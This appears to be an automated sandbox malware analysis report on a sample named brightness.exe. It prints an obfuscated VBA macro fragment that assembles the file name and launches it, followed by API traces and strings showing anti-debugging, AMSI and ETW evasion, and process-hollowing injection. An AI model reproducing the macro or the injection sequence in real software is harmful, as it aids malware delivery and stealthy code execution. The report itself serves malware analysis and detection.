84	Dim praveen1
85	praveen1 = """brightness"
86	Dim praveen2
87	praveen2 = "."
89	Dim praveen3
90	praveen3 = "e"
92	Dim praveen4
93	praveen4 = "x"
95	Dim praveen5
96	praveen5 = "e"""
101	Dim praveen6
102	praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
106	End With
108	Shell (praveen6)	Shell(""brightness.exe"") -> 5560 executed
110	End Sub

Reset < >

Analysis Process: brightness.exePID: 5560, Parent PID: 3732COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30.4%
Total number of Nodes:	1623
Total number of Limit Nodes:	15

Executed Functions

Function 027CF0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

InetIsOffline.URL(00000000,00000000,027DB3D5,?,?,?,000002F7,00000000,00000000), ref: 027CF0E2

Part of subcall function 027C881C: LoadLibraryA.KERNEL32(00000000,00000000,027C8903), ref: 027C8850
Part of subcall function 027C881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027C8903), ref: 027C8860
Part of subcall function 027C881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 027C8879
Part of subcall function 027C881C: FreeLibrary.KERNEL32(74AD0000,00000000,02812388,Function_000065D8,00000004,02812398,02812388,000186A3,00000040,0281239C,74AD0000,00000000,00000000,00000000,00000000,027C8903), ref: 027C88E3

Part of subcall function 027CEFC8: GetModuleHandleW.KERNEL32(KernelBase,?,027CF3CC,UacInitialize,0281237C,027DB40C,UacScan,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanString), ref: 027CEFCE
Part of subcall function 027CEFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 027CEFE0

Part of subcall function 027CF024: GetModuleHandleW.KERNEL32(KernelBase), ref: 027CF034
Part of subcall function 027CF024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 027CF046
Part of subcall function 027CF024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 027CF05D

Part of subcall function 027B7E10: GetFileAttributesA.KERNEL32(00000000,?,027CFD00,ScanString,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanString,0281237C,027DB40C,UacScan,0281237C,027DB40C,UacInitialize), ref: 027B7E1B

Part of subcall function 027BC2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029068C8,?,027D0032,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession), ref: 027BC2FB

Part of subcall function 027CDFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CE0B4), ref: 027CE01F
Part of subcall function 027CDFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,027CE0B4), ref: 027CE04F
Part of subcall function 027CDFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 027CE064
Part of subcall function 027CDFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 027CE090
Part of subcall function 027CDFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 027CE099

Part of subcall function 027B7E34: GetFileAttributesA.KERNEL32(00000000,?,027D2E7D,ScanString,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,Initialize), ref: 027B7E3F

Part of subcall function 027B7FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,027D301B,OpenSession,0281237C,027DB40C,ScanString,0281237C,027DB40C,Initialize,0281237C,027DB40C,ScanString,0281237C,027DB40C), ref: 027B7FD5

Part of subcall function 027CDF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDFD2), ref: 027CDF3F
Part of subcall function 027CDF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 027CDF79
Part of subcall function 027CDF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 027CDFA6
Part of subcall function 027CDF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 027CDFAF

Part of subcall function 027C8798: LoadLibraryW.KERNEL32(bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize,028123A4,027CA774,UacScan), ref: 027C87AC
Part of subcall function 027C8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027C87C6
Part of subcall function 027C8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize), ref: 027C8802

Part of subcall function 027C8704: LoadLibraryW.KERNEL32(amsi), ref: 027C870D
Part of subcall function 027C8704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 027C876C

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,ScanBuffer,0281237C,027DB40C,OpenSession,0281237C,027DB40C,027DB764), ref: 027D4DEB

Part of subcall function 027CDE78: RtlInitUnicodeString.NTDLL(?,?), ref: 027CDEA0
Part of subcall function 027CDE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,027CDEF2), ref: 027CDEB6
Part of subcall function 027CDE78: NtDeleteFile.NTDLL(?), ref: 027CDED5

MoveFileA.KERNEL32(00000000,00000000), ref: 027D4FEB
MoveFileA.KERNEL32(00000000,00000000), ref: 027D5041

Strings

LdrLoadDll, xrefs: 027DABA8
EnumProcessModules, xrefs: 027DA54D
DllGetActivationFactory, xrefs: 027CF94E
NtDeviceIoControlFile, xrefs: 027DA4E4
Ntdll, xrefs: 027DA4DA, 027DA4E9, 027DA4F8, 027DA507
NtOpenFile, xrefs: 027DAC41
CryptSIPGetSignedDataMsg, xrefs: 027CF6DB
EtwEventWriteEx, xrefs: 027DAC74
ScanBuffer, xrefs: 027CF2A7, 027CF5FF, 027CF829, 027CFD90, 027CFE9D, 027CFFB5, 027D0389, 027D0527, 027D06CD, 027D07ED, 027D0982, 027D0A7A, 027D0CE3, 027D0E89, 027D1025, 027D113B, 027D11C9, 027D14DD, 027D177E, 027D188F, 027D1A2C, 027D1DD7, 027D1EE3, 027D2101, 027D221E, 027D2539, 027D25DA, 027D274E, 027D290E, 027D2C30, 027D3027, 027D32C6, 027D3357, 027D3711, 027D38F3, 027D3A67, 027D3BEA, 027D3C66, 027D3E1D, 027D4027, 027D4285, 027D44B7, 027D46FB, 027D4943, 027D4BF9, 027D4D5F, 027D4EF4, 027D522C, 027D5566, 027D587F, 027D5BFF, 027D5F38, 027D61EA, 027D63EF, 027D6555, 027D66C9, 027D6745, 027D72E8, 027D7379, 027D77A9, 027D793C, 027D7A98, 027D7B90, 027D80AD, 027D837A, 027D8520, 027D86AD, 027D8841, 027D89C0, 027D8C37, 027D8D2F, 027D914B, 027D9424, 027D9598, 027D97CE, 027D9860, 027D9B98, 027D9F36, 027DA465, 027DAD6B
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 027D3ADC
NtSetSecurityObject, xrefs: 027D8DFA
EnumServicesStatusW, xrefs: 027DA520
RtlAllocateHeap, xrefs: 027DA1A3, 027DA209
BCryptRegisterProvider, xrefs: 027CF7F0
ScanString, xrefs: 027CF1DF, 027CF46E, 027CF583, 027CF714, 027CF8A5, 027CFB2E, 027CFC6F, 027D01F5, 027D0E0D, 027D0FA9, 027D13E5, 027D1600, 027D167C, 027D1999, 027D1CBF, 027D1F88, 027D23C5, 027D27F6, 027D2A06, 027D2ABC, 027D2DEB, 027D2F0D, 027D31CE, 027D3619, 027D4111, 027D4587, 027D477C, 027D5134, 027D52CE, 027D5613, 027D59D7, 027D6076, 027D685C, 027D69D3, 027D6A8B, 027D70F8, 027D7592, 027D79F9, 027D801C, 027D8AC3, 027D8EB5, 027D929E, 027D965A, 027D9958, 027D9D13, 027DA0FA, 027DA2F1, 027DA89B
ieproxy, xrefs: 027CF3F5, 027CF41C, 027CF44C
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 027D4C82
NtReadVirtualMemory, xrefs: 027DAB0F
RetailTracerEnable, xrefs: 027D9C0E
spp, xrefs: 027D9C58, 027D9C8B, 027DA928
NtQueryInformationThread, xrefs: 027DAA43
TrustOpenStores, xrefs: 027CF4E4
CryptSIPGetInfo, xrefs: 027CF675
DlpGetArchiveFileTraceInfo, xrefs: 027DA012
ntdll, xrefs: 027D8DAF, 027D8DFF, 027D8E13, 027DA187, 027DA1BA, 027DA1ED, 027DA220, 027DA253, 027DA9F4, 027DAA27, 027DAA5A, 027DAA8D, 027DAAC0, 027DAAF3, 027DAB26, 027DAB59, 027DAB8C, 027DABBF, 027DABF2, 027DAC25, 027DAC58, 027DAC8B, 027DACBE
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 027D026B
lld.SLITUTEN, xrefs: 027D3EEC
NtQuerySecurityObject, xrefs: 027DAB42
IconIndex=, xrefs: 027D6931
NtOpenObjectAuditAlarm, xrefs: 027D8DAA
SLLoadApplicationPolicies, xrefs: 027D9A67
URL=file:", xrefs: 027D68DB
FlushInstructionCache, xrefs: 027DA737
NtCreateSection, xrefs: 027DAAA9
VirtualAllocEx, xrefs: 027DA66B
RtlQueryProcessDebugInformation, xrefs: 027DA502
BCryptQueryProviderRegistration, xrefs: 027CF7BD
EnumServicesStatusExA, xrefs: 027DA52F
C:\Users\Public\aken.pif, xrefs: 027D4F85
WinHttp.WinHttpRequest.5.1, xrefs: 027D1C1D
sppc, xrefs: 027D99E5, 027D9A18, 027D9A4B, 027D9A7E, 027DA98E, 027DA9C1
OpenProcess, xrefs: 027DA6D1
GZmMS1j, xrefs: 027CF0F0
psapi, xrefs: 027D9CBE
C:\\Users\\Public\\Libraries\\, xrefs: 027D4F9A, 027D4FF0, 027D5CEB
DlpCheckIsCloudSyncApp, xrefs: 027D9FDF
C:\Users\Public\, xrefs: 027D35B7, 027D5904, 027D6B77
DllGetClassObject, xrefs: 027CF3E4, 027CF91B, 027D9C74, 027DA944
FindCertsByIssuer, xrefs: 027CF54A
CreateProcessA, xrefs: 027DA55C
OpenSession, xrefs: 027CF117, 027CF243, 027CFBF3, 027CFD14, 027CFE21, 027CFF39, 027D030D, 027D04AB, 027D0651, 027D0771, 027D0906, 027D09FE, 027D0BEB, 027D0D91, 027D10BF, 027D12ED, 027D1461, 027D1584, 027D1702, 027D1AA8, 027D1B2B, 027D1C43, 027D1D5B, 027D1E67, 027D2085, 027D21A2, 027D2441, 027D24BD, 027D26D2, 027D2872, 027D2BB4, 027D2D6F, 027D2F89, 027D30A3, 027D33D3, 027D3872, 027D39EB, 027D3B6E, 027D3FAB, 027D4209, 027D4343, 027D467F, 027D48C7, 027D4AA9, 027D4B7D, 027D4CE3, 027D4E78, 027D51B0, 027D534A, 027D54EA, 027D568F, 027D5803, 027D5A53, 027D5B07, 027D5DC4, 027D5EBC, 027D6373, 027D664D, 027D67C1, 027D6957, 027D6B07, 027D71F0, 027D73F5, 027D760E, 027D76B1, 027D7844, 027D7C0C, 027D7EA8, 027D81A5, 027D82FE, 027D84A4, 027D8631, 027D87C5, 027D8944, 027D8A47, 027D8BBB, 027D8E39, 027D9029, 027D931A, 027D94A0, 027D96D6, 027D98DC, 027D9AA0, 027D9D8F, 027D9E3E, 027DA07E, 027DA275, 027DA36D, 027DA81F, 027DADE7
NtQueryVirtualMemory, xrefs: 027DAA10
FX.c, xrefs: 027D4B2F
SLGetGenuineInformation, xrefs: 027D99CE
Initialize, xrefs: 027CF17B, 027D00FD, 027D0291, 027D042F, 027D05D5, 027D088A, 027D0F2D, 027D1369, 027D1813, 027D191D, 027D2004, 027D2336, 027D2656, 027D298A, 027D2B38, 027D2E91, 027D324A, 027D53F2, 027D5787, 027D5B83, 027D5D48, 027D5FB4, 027D60F2, 027D62F7, 027D726C, 027D7F24, 027D8F31, 027D9B1C, 027D9EBA, 027DA3E9, 027DA7A3, 027DACEF
SxTracerGetThreadContextDebug, xrefs: 027D9C41, 027DA911
NtAlertResumeThread, xrefs: 027DA170
WintrustAddActionID, xrefs: 027CF517
NtOpenProcess, xrefs: 027D8E0E
C:\Users\Public\alpha.pif, xrefs: 027D4F6A
NtGetWriteWatch, xrefs: 027DA9DD
CreateProcessAsUserW, xrefs: 027DA589, 027DA5A7
CryptSIPVerifyIndirectData, xrefs: 027CF6A8, 027D9CDA
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 027D49CC
NtMapViewOfSection, xrefs: 027DAADC
NtWriteVirtualMemory, xrefs: 027DAC0E
UacScan, xrefs: 027CF30B, 027CF9BA, 027CFAB2, 027D0081, 027D0C67, 027D1245, 027D1BA7, 027D22BA, 027D34CB, 027D3695, 027D37F6, 027D396F, 027D3AF2, 027D3CC3, 027D3DA1, 027D3F2F, 027D443B, 027D47F8, 027D4A2D, 027D570B, 027D5C7B, 027D5E40, 027D616E, 027D627B, 027D64D9, 027D65D1, 027D7174, 027D7516, 027D772D, 027D78C0, 027D7B14, 027D7FA0, 027D8129, 027D8282, 027D8428, 027D85B5, 027D8749, 027D88C8, 027D8B3F, 027D8FAD, 027D91C7, 027D93A8, 027D951C, 027D9752, 027DA5C2
NtOpenSection, xrefs: 027DAA76
endpointdlp, xrefs: 027D9FC3, 027D9FF6, 027DA029, 027DA05C
EtwEventWrite, xrefs: 027DACA7
C:\Windows\System32\, xrefs: 027CFCEB, 027D74EF, 027D8237
I_QueryTagInformation, xrefs: 027D8DBE
sys.thgiseurt, xrefs: 027D4300
SLIsGenuineLocalEx, xrefs: 027D9A34
SLGatherMigrationBlob, xrefs: 027DA977
GET, xrefs: 027D1D36
DlpGetWebSiteAccess, xrefs: 027DA045
DlpNotifyPreDragDrop, xrefs: 027D9FAC
psapi, xrefs: 027DA552
sppwmi, xrefs: 027DA95B
Kernel32, xrefs: 027DA561, 027DA570, 027DA5AC
CreateProcessW, xrefs: 027DA56B
NtWaitForSingleObject, xrefs: 027DA1D6
kernel32, xrefs: 027DA64F, 027DA682, 027DA6B5, 027DA6E8, 027DA71B, 027DA74E, 027DA781
CreateProcessWithLogonW, xrefs: 027DA598
UacUninitialize, xrefs: 027D3152, 027D344F, 027D3547, 027D3D25, 027D43BF
MiniDumpReadDumpStream, xrefs: 027D8DE6
LdrGetProcedureAddress, xrefs: 027DABDB
EnumServicesStatusA, xrefs: 027DA511
VirtualProtect, xrefs: 027DA69E
CreateProcessAsUserA, xrefs: 027DA57A
DllRegisterServer, xrefs: 027CF435, 027CF981
mssip32, xrefs: 027CF68C, 027CF6BF, 027CF6F2, 027D9CF1
dbgcore, xrefs: 027D8DD7, 027D8DEB
WriteVirtualMemory, xrefs: 027DA704
BCryptVerifySignature, xrefs: 027CF78A, 027D9E05
Advapi, xrefs: 027DA516, 027DA525, 027DA534, 027DA543, 027DA57F, 027DA58E, 027DA59D
UacInitialize, xrefs: 027CF36F, 027CFA36, 027D0179, 027D418D, 027D4603, 027D4DFC, 027D50B8, 027D546E, 027D595B, 027D7471, 027D8CB3, 027D90CF
tquery, xrefs: 027D9C25
smartscreenps, xrefs: 027CF932, 027CF965, 027CF998
NtQueryDirectoryFile, xrefs: 027DA4F3
GetProcessMemoryInfo, xrefs: 027D9CA7
VirtualAlloc, xrefs: 027DA638
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 027D3795
bcrypt, xrefs: 027CF7A1, 027CF7D4, 027CF807, 027D9E1C
EnumServicesStatusExW, xrefs: 027DA53E
SLGetSLIDList, xrefs: 027D9A01
SLGetEncryptedPIDEx, xrefs: 027DA9AA
http, xrefs: 027D1A09
RtlCreateQueryDebugBuffer, xrefs: 027DA23C
HotKey=, xrefs: 027D6A65
GetProxyDllInfo, xrefs: 027CF40B
NtAccessCheck, xrefs: 027DAB75
.url, xrefs: 027D590F
NEO.c, xrefs: 027D4879
[InternetShortcut], xrefs: 027D68CC
MiniDumpWriteDump, xrefs: 027D8DD2
NtQuerySystemInformation, xrefs: 027DA4D5
C:\\Windows \\SysWOW64\\, xrefs: 027D3F02, 027D4316
SetUnhandledExceptionFilter, xrefs: 027DA76A
wintrust, xrefs: 027CF4FB, 027CF52E, 027CF561
advapi32, xrefs: 027D8DC3

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 2010126900-181751239
Opcode ID: b322d12c35e9e700eee3902db1256f07a2950e8eaca4f9b9f0ff04b6d921a3fa
Instruction ID: b126c6ac4d6ebe0b411f7f5f1b1dabe56d872041d7d49a813cec7fd331464194
Opcode Fuzzy Hash: b322d12c35e9e700eee3902db1256f07a2950e8eaca4f9b9f0ff04b6d921a3fa
Instruction Fuzzy Hash: B724F975A101598FDB23EBA4DDA4BDE73B6FF98304F1180E5E009A7656DE30AE858F10

Function 027C8BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027C881C: LoadLibraryA.KERNEL32(00000000,00000000,027C8903), ref: 027C8850
Part of subcall function 027C881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027C8903), ref: 027C8860
Part of subcall function 027C881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 027C8879
Part of subcall function 027C881C: FreeLibrary.KERNEL32(74AD0000,00000000,02812388,Function_000065D8,00000004,02812398,02812388,000186A3,00000040,0281239C,74AD0000,00000000,00000000,00000000,00000000,027C8903), ref: 027C88E3

Part of subcall function 027C85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027C8660

GetThreadContext.KERNEL32(000005DC,02812420,ScanString,028123A4,027CA774,UacInitialize,028123A4,027CA774,ScanBuffer,028123A4,027CA774,ScanBuffer,028123A4,027CA774,UacInitialize,028123A4), ref: 027C943A

Part of subcall function 027C824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C82BD

Part of subcall function 027C84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 027C8521

Part of subcall function 027C79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027C7A1F

Part of subcall function 027C7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C7D6C

SetThreadContext.KERNEL32(000005DC,02812420,ScanBuffer,028123A4,027CA774,ScanString,028123A4,027CA774,Initialize,028123A4,027CA774,0000060C,002B9FF8,028124F8,00000004,028124FC), ref: 027CA14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(000005DC,00000000,000005DC,02812420,ScanBuffer,028123A4,027CA774,ScanString,028123A4,027CA774,Initialize,028123A4,027CA774,0000060C,002B9FF8,028124F8), ref: 027CA15C

Part of subcall function 027C8798: LoadLibraryW.KERNEL32(bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize,028123A4,027CA774,UacScan), ref: 027C87AC
Part of subcall function 027C8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 027C87C6
Part of subcall function 027C8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000005DC,00000000,028123A4,027CA3BF,ScanString,028123A4,027CA774,ScanBuffer,028123A4,027CA774,Initialize), ref: 027C8802

Strings

NtOpenProcess, xrefs: 027CA6DB
ScanString, xrefs: 027C8C3A, 027C8DE5, 027C8F93, 027C93BB, 027C95A1, 027C9728, 027C9BB5, 027C9D73, 027C9EE3, 027CA056, 027CA341, 027CA3EE
BCryptVerifySignature, xrefs: 027CA3AB
dbgcore, xrefs: 027CA551, 027CA565
Initialize, xrefs: 027C8F22, 027C9530, 027C96B7, 027C9AA0, 027C9D02, 027C9E72, 027C9FE5, 027CA24A, 027CA57B
BCryptQueryProviderRegistration, xrefs: 027CA3BF
advapi32, xrefs: 027CA53D
NtReadVirtualMemory, xrefs: 027CA458
I_QueryTagInformation, xrefs: 027CA538
OpenSession, xrefs: 027C8BE1, 027C9004, 027C90B6, 027CA487, 027CA5CD
MiniDumpReadDumpStream, xrefs: 027CA560
UacInitialize, xrefs: 027C8E6A, 027C91CB, 027C934A, 027C944E, 027C984A, 027C99BE, 027CA168
NtSetSecurityObject, xrefs: 027CA6C7
ScanBuffer, xrefs: 027C8D04, 027C8D8C, 027C9127, 027C923C, 027C92D9, 027C9612, 027C9799, 027C992C, 027C9B11, 027C9C26, 027C9DE4, 027C9F54, 027CA0C7, 027CA2BB, 027CA4D9, 027CA61F
ntdll, xrefs: 027CA45D, 027CA471, 027CA529, 027CA6CC, 027CA6E0
bcrypt, xrefs: 027CA3B0, 027CA3C4, 027CA3D8
NtOpenObjectAuditAlarm, xrefs: 027CA46C, 027CA524
sppc, xrefs: 027C91AE
BCryptRegisterProvider, xrefs: 027CA3D3
MiniDumpWriteDump, xrefs: 027CA54C
UacScan, xrefs: 027C8CAB, 027C8EC3, 027C94BF, 027C98BB, 027C9A2F, 027CA1D9, 027CA671
SLGetLicenseInformation, xrefs: 027C9197

Memory Dump Source

Source File: 00000007.00000002.2131732138.00000000027B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 027B0000, based on PE: true

Associated: 00000007.00000002.2131700334.00000000027B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132053873.00000000027DE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132250802.0000000002812000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002906000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2132310933.0000000002909000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_27b0000_brightness.jbxd

Similarity

API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4083799063-51457883
Opcode ID: 3e34e1bee8c1344cce7922cf285d0a3eee4c2351becbd6899f3d1d9d681baccd
Instruction ID: aba923023191f79d0898cd8d875896c61cae5dfa7a11bc47b4579d326ebf699b
Opcode Fuzzy Hash: 3e34e1bee8c1344cce7922cf285d0a3eee4c2351becbd6899f3d1d9d681baccd
Instruction Fuzzy Hash: BBE22D75A105299FDB13EB74CCB9BCE73BABF88300F2141BAE005AB255DA309E458F51

Function 027C8BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 027C881C: LoadLibraryA.KERNEL32(00000000,00000000,027C8903), ref: 027C8850
Part of subcall function 027C881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,027C8903), ref: 027C8860
Part of subcall function 027C881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 027C8879
Part of subcall function 027C881C: FreeLibrary.KERNEL32(74AD0000,00000000,02812388,Function_000065D8,00000004,02812398,02812388,000186A3,00000040,0281239C,74AD0000,00000000,00000000,00000000,00000000,027C8903), ref: 027C88E3

Part of subcall function 027C85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 027C8660

GetThreadContext.KERNEL32(000005DC,02812420,ScanString,028123A4,027CA774,UacInitialize,028123A4,027CA774,ScanBuffer,028123A4,027CA774,ScanBuffer,028123A4,027CA774,UacInitialize,028123A4), ref: 027C943A

Part of subcall function 027C824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 027C82BD

Part of subcall function 027C84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 027C8521

Part of subcall function 027C79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 027C7A1F

Strings

NtOpenProcess, xrefs: 027CA6DB
ScanString, xrefs: 027C8C3A, 027C8DE5, 027C8F93, 027C93BB, 027C95A1, 027C9728, 027C9BB5, 027C9D73, 027C9EE3, 027CA056, 027CA341, 027CA3EE
BCryptVerifySignature, xrefs: 027CA3AB
dbgcore, xrefs: 027CA551, 027CA565
Initialize, xrefs: 027C8F22, 027C9530, 027C96B7, 027C9AA0, 027C9D02, 027C9E72, 027C9FE5, 027CA24A, 027CA57B
BCryptQueryProviderRegistration, xrefs: 027CA3BF
advapi32, xrefs: 027CA53D
NtReadVirtualMemory, xrefs: 027CA458
I_QueryTagInformation, xrefs: 027CA538
OpenSession, xrefs: 027C8BE1, 027C9004, 027C90B6, 027CA487, 027CA5CD
MiniDumpReadDumpStream, xrefs: 027CA560
UacInitialize, xrefs: 027C8E6A, 027C91CB, 027C934A, 027C944E, 027CA168
NtSetSecurityObject, xrefs: 027CA6C7
ScanBuffer, xrefs: 027C8D04, 027C8D8C, 027C9127, 027C923C, 027C92D9, 027C9612, 027C9799, 027C992C, 027C9B11, 027C9C26, 027C9DE4, 027C9F54, 027CA0C7, 027CA2BB, 027CA4D9, 027CA61F
